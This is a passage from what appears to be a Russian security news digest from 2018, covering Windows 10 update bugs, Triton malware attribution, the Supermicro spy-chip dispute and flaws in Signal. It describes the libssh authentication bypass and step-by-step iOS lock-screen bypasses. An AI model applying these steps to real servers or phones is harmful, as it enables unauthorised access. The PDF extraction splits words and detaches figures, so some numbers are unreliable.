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КУЧА БАГОВ 
В WINDOWS 10
Ок тябрь ское  обновле ние  для Windows  10  (1809),  похоже,  вой дет  в  исто рию
как одно из наибо лее проб лемных. Пос ле его уста нов ки у поль зовате лей про‐ 
явля лись самые раз ные баги.

Уда ление фай лов
Сна чала выяс нилось, что в некото рых слу чаях апдейт уда ляет фай лы из папок
с  докумен тами  и  кар тинка ми.  О  проб леме  мас сово  сооб щали  сами  поль‐ 
зовате ли в соци аль ных сетях на форумах под дер жки Microsoft.

Пос тра дав шие попыта лись самос тоятель но разоб рать ся в при чинах про‐ 
исхо дяще го.  Так,  один  поль зователь  сооб щил  в  Twitter,  что  если  фай лы
отсутс тву ют в облачном хра нили ще OneDrive, но есть на дис ке, то с обновле‐ 
нием Windows они будут потеря ны. Новая вер сия ОС поп росту переза писы‐ 
вает  фай лы,  если  они  хра нят ся  в  поль зователь ском  катало ге  (

).
C:\Users\

user\Documents\
В  ито ге  всем  было  рекомен довано  про верять  наличие  икон ки  OneDrive

рядом со знач ком катало га, а если ее нет, сроч но делать бэкап или хотя бы
копиро вать  дан ные  в  дру гой  каталог,  пока Windows  не  начала  обновлять ся.
По приз нанию Microsoft, при мер но в 0,01% слу чаев пос ле уста нов ки апдей‐ 
та  1809  в  поль зователь ском  катало ге    дей стви тель но  сти рались
фай лы.

users\User

Не сов мести мость драй веров
Вско ре ста ло ясно, что уда ление фай лов было далеко не единс твен ной проб‐ 
лемой.  Пос ле  того  как  инже неры Microsoft  отме нили  апдейт  и  заб рали  его
на  «доработ ку»,  новую  вер сию  обновле ния  выложи ли  для  учас тни ков  прог‐ 
раммы  Microsoft  Insider.  Ока залось,  что  эта  вер сия  про воци рует  появ ление
BSOD на компь юте рах и ноут буках про изводс тва HP.

Их  вла дель цы  жалова лись,  что  пос ле  обновле ния  ОС  демонс три рует
«синий экран смер ти» с ошиб кой WDF_VIOLATION. Изда ние Bleeping Comput‐
er сооб щило, что у боль шинс тва поль зовате лей сбой вызывал файл 

,  то  есть  один  из  драй веров  кла‐ 
виату ры.  Впро чем,  наш лись  и  такие  люди,  у  которых  BSOD  появ лялся
безо вся кого HpqKbFiltr.sys, а прос то пос ле уста нов ки осен него обновле ния.

C:\Win‐
dows\System32\drivers\HpqKbFiltr.sys

От каз аудио
Еще  один  баг  обна ружил  Лоуренс  Абрамс  (Lawrence  Abrams),  осно ватель
и  вла делец  уже  упо мяну того  ресур са  Bleeping  Computer.  Он  обра тил  вни‐ 
мание,  что  на Reddit,  офи циаль ных форумах Microsoft  и  в  соци аль ных  сетях
мно жат ся  сооб щения  от  людей,  у  которых  пос ле  октябрь ско го  «втор ника
обновле ний»  про пал  звук.  Вла дель цы  проб лемных  сис тем  получа ли  от Win‐
dows 10 лаконич ное сооб щение «Ауди оус трой ство не уста нов лено», при чем
на машине мог ли исполь зовать ся абсо лют но любые ауди одрай веры (Realtek,
Intel и так далее), баг воз никал в любом слу чае.

Один  из  сот рудни ков  Microsoft  под твер дил,  что  ком пания  неп родол‐ 
житель ное вре мя рас простра няла некор рек тные драй веры (ауди одрай вер In‐
tel)  через  Windows  Update.  Как  толь ко  начали  пос тупать  жалобы,  раз дача
проб лемно го  обновле ния  прек ратилась.  В  ито ге  поль зовате лям,  работа‐ 
ющим на Windows 10 вер сии 1803 и выше, пореко мен довали про верить, уста‐ 
нов лен  ли  в  их  сис теме  некор рек тный  драй вер,  и,  если  нуж но,  испра вить
проб лему.

Проб лема с архи вами ZIP
Ког да  казалось,  что  хуже  стать  уже  не  может,  в  Windows  10  (1809)  наш ли
еще  один  баг,  свя зан ный  со  встро енной  в  ОС  фун кци ональ ностью  и  рас‐ 
паков кой архи вов ZIP.

Так,  во  вре мя  рас паков ки  архи ва  опе раци онная  сис тема  дол жна  спра‐ 
шивать  у  поль зовате ля,  нуж но  ли  переза писать  сущес тву ющие фай лы,  если
в  ука зан ной  дирек тории  уже  содер жится  дан ный  кон тент.  Одна ко  вер‐ 
сия 1809 ничем подоб ным у поль зовате ля не инте ресо валась. Если попытать‐ 
ся рас паковать архив (или перета щить один из фай лов архи ва в новое мес то)
туда, где уже сущес тву ют те же самые фай лы, ОС поп росту переза пишет их,
ни о чем не пре дуп реждая.

Пер выми  проб лему  замети ли  поль зовате ли  Reddit,  и,  похоже,  этот  баг
про явля ется  не  у  всех.  В  час тнос ти,  жур налис ты  Bleeping  Computer  сооб‐ 
щили,  что  им  не  уда лось  вос про извести  проб лему  у  себя.  К  тому  же  один
из  инже неров  Microsoft  заверил  поль зовате лей  в  Twitter,  что  баг  уже  был
устра нен в гря дущей Windows 10 Build 18234.

Тем  не  менее  поль зовате ли  Reddit  и  спе циалис ты  Bleeping  Computer
совето вали поль зовате лям на вся кий слу чай быть осто рож нее при дей стви ях
с архи вами.

 ПОИС КОВЫХ ЗАП РОСОВ В ДЕНЬ30 000 000

По пуляр ность  поис ковика  DuckDuckGo  про дол жает  мед ленно,  но  вер но  рас ти.  Раз работ чики
сооб щили,  что  в  этом  месяце  поис ковый  сер вис  пре одо лел  важ ную  отметку  в 
поис ковых зап росов в день.

30  000  000

К  отметке    зап росов  в  день  поис ковик  шел    лет,  пос ле  чего  на  дос тижение
 зап росов пот ребова лось еще   года, а новый рубеж был взят все го через год пос‐ 

ле  это го.  Ком пания  с  гор достью отме чает,  что при рост  тра фика  с  каж дым  годом про дол жает
уско рять ся.

10  000  000 7
20 000 000 2

APPLE ПРОТИВ
РЕМОНТА
Ин женеры  Apple  раз работа ли  соф твер ную  бло киров ку,  которая  дол жна
положить  конец  ремон ту  компь юте ров  ком пании  в  неав торизо ван ных  сер‐ 
висах.  Новые  устрой ства  будут  содер жать  механизм,  который  лишит  их
работос пособ ности  при  попыт ке  неофи циаль ного  ремон та.  Одна ко  этот
механизм пока неак тивен.

В  рас поряже нии  редак ции  изда ния  Vice Motherboard  ока зал ся  ,
который Apple переда ла в авто ризо ван ные сер висы в кон це сен тября текуще‐ 
го  года.  Речь  в  докумен те  идет  о  новых  компь юте рах  Apple  с  чипом  T2,
а имен но iMac Pro и MacBook Pro 2018 года.

до кумент

Соф твер ный «замок» может акти виро вать ся при любой попыт ке ремон та,
вклю чая замену дис плея ноут бука, цен траль ной пла ты, топ кей са (кла виату ры
и тач пада) и панели Touch ID. На iMac Pro бло киров ка про изой дет при замене
флеш‐памяти или материн ской пла ты.

Что бы это го избе жать, нуж но запус тить спе циаль ную ути литу AST 2 System
Configuration  suite,  которая  будет  в  рас поряже нии  офи циаль ных  сер висов,
и  лишь  тог да  «ремонт  будет  пол ностью  завер шен»,  говорит ся  в  докумен те.
Эта ути лита про веря ет, пра виль но ли работа ет компь ютер, при чем тес тиру ет
не  толь ко  софт,  но и железо:  бло ки  питания,  дис плей,  опе ратив ную память,
сис тему  охлажде ния.  Для  ее  запус ка  нуж но  обя затель но  под клю чить ся
к  облачно му  сер веру  Apple Global  Service  Exchange  (GSX),  который  тре бует
вхо да через учет ную запись авто ризо ван ного сот рудни ка.

Ес ли компь ютер «прев ратил ся в кир пич» пос ле неав торизо ван ного ремон‐ 
та, вер нуть его к жиз ни смо гут толь ко в офи циаль ном Apple Store либо в авто‐ 
ризо ван ном сер висном цен тре, где сот рудни ки запус тят Apple Service Toolkit
2.

Как  выяс нили  экспер ты  iFixit,  новов ведение  пока  не  всту пило  в  силу.
Иссле дова тели  спе циаль но  при обре ли  новый  Macbook  Pro  2018  13″  c  тач‐ 
баром,  разоб рали  и  поменя ли  дис плей,  затем  обно вили  ОС  до  Mojave
и поменя ли материн скую пла ту. Ни одно из этих дей ствий не при вело к бло‐ 
киров ке.

По хожий механизм уже работа ет в пос ледних моделях iPhone: при замене
кноп ки «Домой» фун кция Touch ID не будет работать до тех пор, пока телефон
не прой дет  калиб ровку на  так называ емой Horizon Machine. Дело в  том,  что
в пос ледних моделях iPhone кноп ка Touch ID при вяза на к чипу A7, так что чип
не «узна ет» новую кноп ку без спе циаль ной нас трой ки.

УЩЕРБ ОТ 14 КИБЕРА ТАК НА КРИП ТОБИР ЖИ СОС ‐
ТАВИЛ 882 МИЛ ЛИОНА ДОЛ ЛАРОВ

Эк спер ты  Group‐IB  оце нили  ущерб  от  целевых  атак  на  крип товалют ные  бир жи  в  2017  году
и  пер вые  девять  месяцев  2018  года.  По  дан ным  экспер тов,  за  этот  пери од  были  взло маны
как минимум   обменни ков, а общий ущерб от атак сос тавил око ло   дол ларов.14 882 000 000

В 2017 году и пер вые девять месяцев 2018 года были взло маны   бирж, и   из них ата кова ны
северо корей ской хакер ской груп пой Lazarus. В том чис ле япон ская бир жа Coincheck, потеряв‐ 
шая  .

14 5

534 000 000

За  пос ледние  пол тора  года  северо корей ская  груп па  Lazarus  ата кова ла  как  минимум    крип‐ 
тобирж:  ,  ,  ,  ,  .

5
Yapizon Coinis YouBit Bithumb Coincheck

В боль шинс тве слу чаев при ата ках на крип тобир жи хакеры исполь зуют тра дици онные инс тру‐ 
мен ты  и  схе мы,  такие  как  целевой 

.
фи шинг, соци аль ная инже нерия, заг рузка вре- 

донос ных прог рамм, дефейс сай та

Ос новной век тор про ник новения в кор поратив ные сети крип тобирж — целевой фишинг, на него
при ходит ся   укра ден ных средств.56%

Круп ная фишин говая груп пиров ка похища ет око ло   дол ларов в месяц.1 000 000

В  2017  году  было  похище но  более    всех  прив лечен ных  инвести ций,  а    про ектов
не выпол нили обя затель ства перед инвесто рами и исчезли пос ле сбо ра средств.

10% 80%

МАЛВАРЬ ИЗ НИИ
Ком пания  FireEye  опуб ликова ла  деталь ный  отчет,  рас ска зыва ющий  об  изу‐ 
чении вре доно са Triton  (он же Trisis),  который ата ковал объ екты кри тичес кой
инфраструк туры. По  дан ным New York  Times,  одна  из  атак  была  нап равле на
на  саудов ское  пред при ятие  неф техими чес кого  про филя,  при над лежащее
ком пании Tasnee. В отче те иссле дова тели FireEye дела ют вывод, что мал варь
каким‐то  обра зом  свя зана  с  Рос сией  и ФГУП  «Цен траль ный  науч но‐иссле‐ 
дова тель ский инсти тут химии и механи ки» (ЦНИ ИХМ).

На пом ню, что Triton   в кон це 2017 года. Тог да сооб щалось,
что мал варь исполь зует ся для атак на кон трол леры сис тем инс тру мен таль ной
безопас ности  Triconex  (Triconex  Safety  Instrumented  System)  про изводс тва
Schneider Electric. Эти решения нуж ны для монито рин га тех нологи чес ких про‐ 
цес сов  на  пред при ятиях  и  безопас ного  вос ста нов ления  или  завер шения
работы  обо рудо вания  при  воз никно вении  сбо ев  и  потен циаль но  опас ных
ситу аций.

был обна ружен

Спе циалис ты  FireEye,  Dragos  и  Symantec  писали,  что  Triton  исполь зует ся
для  фак тичес ких  атак,  одна ко  не  рас кры вали  наз вания  пос тра дав ших  орга‐ 
низа ций и стран, где те базиру ются. При этом ана лити ки FireEye были убеж‐ 
дены,  что  за  соз дани ем  Triton  сто ят  хорошо  финан сиру емые  «пра витель‐ 
ствен ные  хакеры»,  обла дающие  все ми  необ ходимы ми  ресур сами  для  про‐ 
веде ния подоб ных атак.

В новом отче те ана лити ки FireEye рас ска зыва ют о соб ранных ими ули ках,
которые были обна руже ны при более деталь ном изу чении слу чаев при мене‐ 
ния Triton. И иссле дова тели выража ют уве рен ность, что мос ков ский 
име ет какое‐то отно шение к этим ата кам. Фак тичес ки иссле дова тели не свя‐ 
зыва ют   с самим Triton, но заяв ляют, что Цен траль ный науч но‐иссле‐ 
дова тель ский инсти тут химии и механи ки име ет некое отно шение к хакер ской
груп пе TEMP.Veles. Имен но эта груп пиров ка, по мне нию FireEye, сто ит за соз‐ 
дани ем Triton, и ряд дру гих ее инс тру мен тов (так же задей ство ван ных во вре‐ 
мя атак) уда лось прос ледить до рос сий ско го НИИ.

ЦНИИХМ

ЦНИИХМ

Ана лити ки  при водят  в  отче те  сле дующие  аргу мен ты  в  под дер жку  сво ей
теории:

PDB‐путь  одно го  из  фай лов  содер жал  стро ку,  похожую  на  уни каль ный
псев доним или имя поль зовате ля; это имя/псев доним вывели иссле дова‐ 
телей на неназ ванно го ИБ‐экспер та и быв шего про фес сора ЦНИ ИХМ;

•

вре донос ная  активность  ска неров  и монито ров  TEMP.Veles  при вела  к  IP‐
адре су 87.245.143.140, который при над лежит ЦНИ ИХМ;

•

мно гие свя зан ные с Triton фай лы содер жат кирил личес кие име на и дру гие
арте фак ты;

•

вре мя  соз дания  фай лов  мал вари  хорошо  соот носит ся  с  рабочим  вре‐ 
менем часово го пояса, в котором рас положе на Мос ква;

•

по  мне нию  иссле дова телей,  ЦНИ ИХМ  обла дает  дос таточ ными 
 зна ниями и пер соналом, который мог бы соз дать Tri‐

ton и коор диниро вать опе рации TEMP.Veles.

•
институциональными

Впро чем, иссле дова тели все же пишут, что нель зя сбра сывать со сче тов воз‐ 
можность того, что кто‐то из сот рудни ков ЦНИ ИХМ свя зан с груп пой TEMP.Ve‐
les и занимал ся вре донос ной активностью на рабочем мес те без чьего‐либо
ведома.

IBM И RED HAT ОБЪ ЯВИ ЛИ О ГРЯ ДУЩЕМ СЛИ ЯНИИ
Сум ма  сдел ки  сос тавит  поряд ка  34  мил лиар дов  дол ларов  США,  то  есть  IBM  готова  зап‐ 
латить 190 дол ларов США за одну акцию Red Hat,  хотя сей час капита лиза ция ком пании оце‐ 
нива ется в 20,5 мил лиар да дол ларов. Сли яние уже одоб рено руководс твом обе их ком паний.

→«При обре тение Red Hat может изме нить пра вила игры. Это меня ет всю ситу ацию на рын ке
облачных  тех нологий.  IBM  ста нет  пос тавщи ком  гиб ридных  облачных  сер висов  номер  один
в мире и пред ложит ком пани ям еди ное откры тое облачное решение, спо соб ное рас крыть всю
цен ность облачных тех нологий для их биз неса»,
— ген дирек тор IBM Джин ни Ромет ти (Ginni Rometty)

ШПИОНСКИЕ ЧИПЫ В
КИТАЙСКОМ ЖЕЛЕЗЕ
В середи не октября 2018 года изда ние Bloomberg опуб ликова ло серию ста‐ 
тей, в которых рас ска зыва лось о китай ских шпи онских чипах, которые яко бы
встра ивают в сер веры ком пании Supermicro пря мо на заводе. По сви детель‐ 
ствам мно гочис ленных  ано ним ных  источни ков  изда ния,  око ло  30  ком паний,
вклю чая  Amazon,  Apple,  ВМС  США  и  ЦРУ,  мог ли  исполь зовать  сер верное
обо рудо вание, модифи циро ван ное на фаб рике про изво дите ля в Китае.

Од нако наш лось край не мало неано ним ных источни ков, готовых под твер‐ 
дить выводы Bloomberg. К при меру, в собс твен ных выводах в ито ге усом нился
эксперт  по  аппа рат ной  безопас ности  Джо  Фит цпат рик,  который  кон суль‐ 
тировал  Bloomberg  в  рас сле дова нии  и  был  одним  из  нем ногих  наз ванных
источни ков. Фит цпат рик нашел в вышед шей статье свои сло ва (в которых он
не слиш ком уве рен, пос коль ку мно гие вещи поп росту пред полагал), которые,
по сооб щению жур налис тов, под твер дили сем надцать неназ ванных источни‐ 
ков. Но в дан ном поз же интервью эксперт усом нился в сущес тво вании всех
этих источни ков в прин ципе.

При этом боль шинс тво яко бы пос тра дав ших ком паний и вов се сооб щали,
что никакой проб лемы с китай ски ми «зак ладка ми» в железе не сущес тву ет и,
сле дова тель но,  их  все  это  не  каса ется.  Той  же  вер сии  при дер жива ются
и пред ста вите ли Supermicro, которые заяви ли, что им неиз вес тно о наличии
каких‐либо неори гиналь ных ком понен тов в их про дук ции и их кли енты никог да
не сооб щали о подоб ных наход ках.

Сто ит  отдель но  заметить,  что  пред ста вите ли  Amazon  и  Apple  тоже  отри‐ 
цают, что их сер веры были ском про мети рова ны. Более того, ответные заяв‐ 
ления  ком паний  изо билу ют  деталя ми,  где  пункт  за  пун ктом  раз бира ется
статья Bloomberg и неп равота жур налис тов.

Выс казал ся о про исхо дящем и гла ва Apple. Тим Кук обоз начил свой взгляд
на ситу ацию в интервью изда нию Buzzfeed News.  «Я счи таю, им сто ит отоз‐ 
вать этот матери ал. В их пуб ликации нет прав ды об Apple. Им сто ит пос тупить
пра виль но», — заявил Кук. Кро ме того, CEO Apple рас ска зал, что был плот но
вов лечен в эту исто рию с самого ее начала:

«Я  лич но  говорил  с  репор терами  Bloomberg  и  Брю сом  Сьюэл лом,
который  тог да  был  гла вой  нашего юри дичес кого  отде ла. Мы  с  ними
чет ко обоз начили, что ничего подоб ного не было, мы отве тили на все
их  воп росы.  Каж дый  раз,  ког да  они  свя зыва лись  с  нами,  исто рия
менялась,  и  каж дый  раз  наши  рас сле дова ния  не  при носи ли  никаких
резуль татов».

Го воря  о  «рас сле дова ниях»,  Кук  пояс нил,  что  спе циалис ты  Apple  дол го
и упор но иска ли приз наки ком про мета ции, хотя репор теры Bloomberg не пре‐ 
дос тавля ли  ком пании  никакой  кон кре тики  о  том,  где  имен но  нуж но  искать
вре донос ные чипы.

«Мы  перевер нули  ком панию  вверх  дном.  Email-поис ки,  записи
дата‑цен тров, финан совые дан ные, информа ция о пос тавках. Мы кри- 
мина лис тичес ки про вери ли ком панию и копали очень глу боко, но каж- 
дый  раз  при ходи ли  к  одно му  и  тому  же  выводу:  это го  не  было;
это неп равда».

Сто ит  ска зать,  что  вско ре  пос ле  пуб ликации  этих  слов  Тима  Кука  пред ста‐ 
вите ли Bloomberg сооб щили, что офи циаль но отзы вать свои пуб ликации они
не намере ны.
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В США сос тоялась кон ферен ция DerbyCon,  где раз работ чики популяр ней шей CMS WordPress
рас ска зали  немало  инте рес ного  и  под вели  сво еоб разный  про межу точ ный  итог  сво ей  работы
по повыше нию безопас ности плат формы.

По их сло вам, одним из перелом ных момен тов в воп росах защиты поль зовате лей ста ло внед‐ 
рение механиз ма авто мати чес кого обновле ния в  . К тому же о необ ходимос ти
обновле ний адми нис тра торам теперь напоми нает даже Google. В резуль тате на сегод няшний
день   сай тов на WordPress исполь зуют чет вертую вер сию плат формы.
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ОБХОД БЛОКИРОВКИ
В IOS
В  этом  месяце  испан ский  ИБ‐спе циалист  Хосе  Род ригес  (Jose  Rodriguez)
про демонс три ровал  пуб лике  сра зу  три  раз ных  спо соба  обхо да  бло киров ки
экра на в iOS. Сто ит ска зать, что до это го Род ригес неод нократ но обна ружи‐ 
вал в мобиль ной ОС Apple ана логич ные недоче ты.

, обна ружен ный иссле дова телем, поз волял прос матри вать
адресную  кни гу  и  все  фотог рафии  на  устрой стве  поль зовате ля.  Род ригес
вос поль зовал ся  воз можностью  акти виро вать  Siri  с  заб локиро ван ного
телефо на  и  ском биниро вал  это  с  новой  фун кци ей  VoiceOver  (режим
для людей с дефек тами зре ния, в котором телефон при нажатии зачиты вает
вслух  отоб ража емую  на  экра не  информа цию).  В  ито ге  Род ригес  умуд рился
зас тавить телефон показы вать кон такты из адресной кни ги и фото из «Фотоп‐ 
ленки».

Пер вый спо соб

  так же  полагал ся  на  исполь зование  VoiceOver,  но  на  этот
раз спе циалист зло упот ребил опци ей Answer by SMS, то есть отве том на зво‐ 
нок  с  помощью  тек сто вого  сооб щения.  В  резуль тате  потен циаль ный  зло‐ 
умыш ленник  получал  воз можность  не  толь ко  прос матри вать  любые  изоб‐ 
ражения на телефо не жер твы, но и пересы лать их себе.

Вто рой спо соб

  обхо да  экра на  бло киров ки  получил ся  сов сем  обид ным
для инже неров ком пании Apple. Дело в  том, что Род ригес обна ружил новый
баг спус тя все го нес коль ко часов пос ле релиза новой iOS 12.1.

Тре тий  спо соб

На этот раз спе циалист вос поль зовал ся пред став ленной в новой вер сии
ОС фун кци ей Group FaceTime, которая поз воля ет орга низо вывать кол лектив‐ 
ные  виде оча ты  для  групп  до  32  человек.  Этот  метод  работа ет  без  прив‐ 
лечения к делу Siri и не исполь зует фун кцию VoiceOver. Впро чем, как и в пер‐ 
вых  двух  слу чаях,  зло умыш ленни ку  по‐преж нему  нуж но  иметь  физичес кий
дос туп к устрой ству.

Ата кующе му  нуж но  поз вонить  на  iPhone  жер твы  с  дру гого  iPhone  (если
номер неиз вестен хакеру, его мож но спро сить у ассистен та Siri). Затем, ког да
на  зво нок  отве тят,  нуж но  ини цииро вать  виде очат  FaceTime,  обра тить ся
к меню в пра вом ниж нем углу и выб рать опцию «Добавить челове ка» (Add Per‐
son). Пос ле нуж но нажать на икон ку + и получить дос туп к пол ному спис ку кон‐ 
тактов  на  целевом  iPhone.  Вот  и  все,  бло киров ка  обма нута,  мож но  прос‐ 
мотреть деталь ную информа цию о каж дом кон такте.

ИЗ ЛЮБЛЕН НЫЕ БРЕН ДЫ ФИШЕРОВ: MICROSOFT, PAYPAL,
NETFLIX
Спе циалис ты ком пании Vade Secure про вели иссле дова ние и выяви ли, какие брен ды чаще ста‐ 
новят ся  «шир мой»  для  зло умыш ленни ков  и  исполь зуют ся  во  вре мя  про веде ния  фишин говых
атак.

В треть ем квар тале 2018 года количес тво фишин говых атак воз росло на  .20,4%

Ча ще  все го  фишеры  исполь зуют  брен ды  ,  ,  , 
и  .

Microsoft PayPal Netflix Bank of  America
Wells Fargo

Свя зан ный  с  Microsoft  фишинг  —  это  попыт ки  выманить  у  поль зовате лей  учет ные  дан ные
от  ,   и  .Office 365 One Drive Azure

Боль шинс тво фишин говых рас сылок при ходит ся на   и  ,  тог да как свя зан ные
с Netflix ата ки более активны в  , ког да поль зовате ли отды хают дома.

втор ник чет верг
вос кре сенье

GOOGLE+
ЗАКРЫВАЕТСЯ
Ком пания  Google  объ яви ла  о  ско ром  зак рытии  соци аль ной  сети  Google+
в  силу  низ кой  вов лечен ности  поль зовате лей,  а  так же  из‐за  бага,  который
откры вал  воз можность  утеч ки  лич ной информа ции для  500  тысяч  акка унтов.
И хотя нет сви детель ств того, что этим багом дей стви тель но кто‐то вос поль‐ 
зовал ся, ком пания при няла решение пос тепен но прек ратить работу Google+
для  широкой  ауди тории.  Зак рытие  соци аль ной  сети  будет  длить ся  десять
месяцев и дол жно завер шить ся в середи не 2019 года.

В  ходе  ауди та  кода  (про ект  «Стро бос коп»  —  Project  Strobe)  ком пания
обна ружи ла в одном из API баг, который мог при вес ти к утеч ке лич ных дан ных
из  акка унтов  Google+.  Ошиб ка  поз воляла  дру гим  при ложе ниям,  уста нов‐ 
ленным  у  поль зовате ля,  получать  дос туп  к  API  Google+  для  чте ния  непуб‐ 
личной  информа ции  о  друзь ях  жер твы  (такой  как  имя,  воз раст,  пол,  адрес
элек трон ной поч ты и мес то работы). Никакие дру гие дан ные,  которые поль‐ 
зователь переда вал  в Google+,  вклю чая  записи,  сооб щения,  содер жимое G
Suite (Google Apps for Work) и телефон ные номера, багу под верже ны не были.

Из вес тно,  что  уяз вимость  сущес тво вала  в  коде  с  2015  года
по март 2018 года, пос ле чего ее наконец обна ружи ли и испра вили. Пос коль‐ 
ку Google хра нит логи API для Google+ толь ко две недели, ока залось невоз‐ 
можно опре делить,  успел  ли  кто‐либо  вос поль зовать ся  багом  за  ука зан ный
пери од. При меча тель но, что пред ста вите ли Google при няли решение не раз‐ 
гла шать информа цию о проб леме вооб ще.

Вто рая при чина для зак рытия Google+ — непопу ляр ность сер виса у поль‐ 
зовате лей, пред мет мно гочис ленных шуток. В офи циаль ном заяв лении ком‐ 
пании упо мина ется, что, нес мотря на все уси лия, которые раз работ чики зат‐ 
рачива ют  на  под держа ние  соци аль ной  сети,  Google+  не  поль зует ся  прак‐ 
тичес ки  ник то,  кро ме  сот рудни ков  самой  Google,  а  вов лечен ность  поль‐ 
зовате лей очень низ ка: 90% сес сий длят ся менее пяти секунд.

В  ито ге  Google+  будет  пос тепен но  зак рыта  для  широкой  пуб лики
и  переве дена  во  внут реннее  поль зование  в  течение  сле дующих  десяти
месяцев.

ВИ ТАЛИК БУТЕРИН СОЖАЛЕ ЕТ О СМАРТ‐КОН ТРАК ТАХ
Во вре мя дис куссии в Twitter раз работ чик и осно ватель Ethereum Виталик Бутерин приз нался,
что сожале ет об исполь зовании тер мина «смарт‐кон тракт».

→«Чес тно  говоря,  сей час  я  нем ного  жалею  о  том,  что  мы  ста ли  исполь зовать  тер мин
„смарт‐кон трак ты“. Мне  сто ило  наз вать  их  как‐нибудь  более  скуч но  и  тех ничес ки,  воз можно,
подош ло бы что‐то вро де „устой чивых скрип тов“»,
— Виталик Бутерин

УГРОЗА ОТ LIBSSH
В биб лиоте ке  libssh, популяр ном решении для под дер жки Secure Shell  (SSH)
аутен тифика ции,  най дена  уяз вимость CVE‐2018‐10933. Фак тичес ки  баг  поз‐ 
воля ет  ата кующе му  обой ти  аутен тифика цию  и  получить  дос туп  к  уяз вимому
сер веру  со  вклю чен ной  SSH‐аутен тифика цией,  не  вво дя  пароль.  Проб лему
обна ружи ли спе циалис ты NCC Group, она появи лась в коде libssh с релизом
вер сии 0.6.0 в 2014 году. Уяз вимос ти были под верже ны вер сии libssh вплоть
до новых 0.7.6 и 0.8.4, выпущен ных в октябре 2018 года.

Экс плу ата ция  проб лемы  край не  прос та:  нуж но  отпра вить  SSH‐сер веру
сооб щение  SSH2_MSG_USERAUTH_SUCCESS  вмес то  ожи даемо го  им
SSH2_MSG_USERAUTH_REQUEST.  Из‐за  бага  сер вер,  получив ший  такое
сооб щение,  прос то  поверит  ата кующе му,  что  тот  залоги нен  и  верифи кация
не нуж на. Сер вер соч тет, что аутен тифика ция прош ла успешно, в ито ге пре‐ 
дос тавив зло умыш ленни ку дос туп.

Сра зу  пос ле  пуб ликации  дан ных  о  проб леме ИБ‐спе циалис ты  замети ли,
что  поис ковик  Shodan  обна ружи вает  поряд ка  6000  уяз вимых  сис тем.
Отсорти ровав резуль таты поис ка и добавив к зап росу дефол тный SSH‐порт,
иссле дова тели  все  рав но  получа ли  длин ный  спи сок  более  чем
из 3000 машин.

Но  дру гие  спе циалис ты  пос пешили  успо коить:  поис ковик  не  видит  раз ницы
меж ду  вер сиями  libssh,  плюс  нуж но  учи тывать,  что  уяз вимость  сра баты вает
лишь в при ложе ниях, работа ющих в режиме сер вера, а это встре чает ся не так
уж час то.

Так же  успо коили  сооб щес тво  и  раз работ чики  GitHub,  ведь  GitHub  тоже
исполь зует libssh, и под угро зой, в час тнос ти, мог ока зать ся GitHub Enterprise.
Как  ока залось,  здесь  при меня ется  кас томная  импле мен тация  биб лиоте ки,
поэто му  проб лема  CVE‐2018‐10933  никог да  не  пред став ляла  опас ности
для GitHub.

В  ито ге  по  сос тоянию  на  конец  октября  ,  пос‐ 
вящен ные  этой  проб леме,  выпус тили  мно гие  круп ные  учас тни ки  индус трии,
вклю чая раз работ чиков Cisco, Debian, SUSE, Ubuntu, Arch Linux, Dell, F5 Net‐
works. Решения некото рых про изво дите лей ока зались уяз вимы.

бюл летени  безопас ности

Де ло допол нитель но осложня ется тем, что в Сети уже появи лись ска неры
для обна руже ния бага, а  так же мно гочис ленные экс пло иты. К при меру, раз‐ 
работ чики фир мы Leap Security опуб ликова ли  , который может
исполь зовать ся  для  поис ка  уяз вимых  устрой ств.  Proof‐of‐concept  экс пло иты
для уяз вимос ти и вов се мно жат ся как гри бы пос ле дож дя ( ,  ,  ,  ).

Python‐скрипт
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УТЕЧ КА ДАН НЫХ   СОТ РУДНИ КОВ СБЕР БАНКА420 000

Из дание  «Ком мерсант»  обна ружи ло,  что  в  откры том  дос тупе  была  опуб ликова на  информа ция
об име нах и email‐адре сах сот рудни ков Сбер банка, а так же их логины для вхо да в ОС, которые
в  боль шинс тве  слу чаев  сов пада ют  с  адре сами  поч ты.  Тек сто вый  файл  раз мером    Мбайт
содер жал  дан ные  при мер но    сот рудни ков,  был  выложен  на  форуме  phreaker.pro
и более недос тупен пуб лично.
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Так как в нас тоящее вре мя в груп пе Сбер банка работа ют око ло   человек, мож но пред‐ 
положить, что в базе содер жались дан ные и о некото рых уво лен ных сот рудни ках. В пресс‐служ‐ 
бе Сбер банка факт утеч ки под твер дили, наз вав ее пуб ликаци ей час ти адресной кни ги, которая
дос тупна всем сот рудни кам. В бан ке завери ли, что эти дан ные «не пред став ляют никакой угро‐ 
зы авто мати зиро ван ным сис темам и кли ентам».

300 000

НЕ СЛИШКОМ
ЗАЩИЩЕННЫЕ
МЕССЕНДЖЕРЫ
В  этом  месяце  ИБ‐спе циалис ты  выяви ли  сра зу  нес коль ко  проб лем  в  таких
мес сен дже рах,  как  Signal  и  Telegram,  которые  всег да  подава лись  с  упо ром
на безопас ность и при ват ность поль зовате лей.

Не зашиф рован ные сооб щения в Signal
ИБ‐спе циалист Мэтью Сюиш (Matt Suiche) обна ружил, что мес сен джер Signal
некор рек тно осу щест вля ет апгрейд от рас ширения для Chrome до пол ноцен‐ 
ного  дес ктоп ного  кли ента. Дело  в  том,  что  во  вре мя  этой  про цеду ры  сооб‐ 
щения поль зовате ля экспор тиру ются в незащи щен ные тек сто вые фай лы.

В  ходе  апгрей да  рас ширения Signal  для Chrome до Signal Desktop  поль‐ 
зовате ля про сят  выб рать мес то,  куда будет сох ранена информа ция о сооб‐ 
щени ях  (текст  и  вло жения),  что бы  затем  импорти ровать  ее  в  новую  вер сию
мес сен дже ра.

Сю иш заметил, что сооб щения поп росту сох раня ются в фай ле messages.j‐
son, без шиф рования. В Twitter спе циалист пишет, что «это прос то безумие»,
и сооб щает, что уже отпра вил раз работ чикам мес сен дже ра баг‐репорт.

Хо тя  сам  иссле дова тель  обна ружил  опас ный  баг  толь ко  в  macOS,  ког да
обновлял  свой  Signal,  жур налис ты  Bleeping  Computer  замети ли,  что
при  перехо де  с  рас ширения  для  бра узе ра  на  дес ктоп ный  кли ент  такая  же
проб лема  про явля ется  и  в  Linux  Mint.  Хуже  того,  незашиф рован ные  сооб‐ 
щения в обо их слу чаях оста ются на дис ке даже пос ле завер шения апгрей да,
и уда лять их при дет ся вруч ную.

Клю чи для дешиф ровки в Signal
Еще одну проб лему в Signal Desktop выявил ИБ‐спе циалист Натани эль Сёчи
(Nathaniel Suchy).

Де ло в том, что во вре мя уста нов ки Signal Desktop соз дает ся зашиф рован‐ 
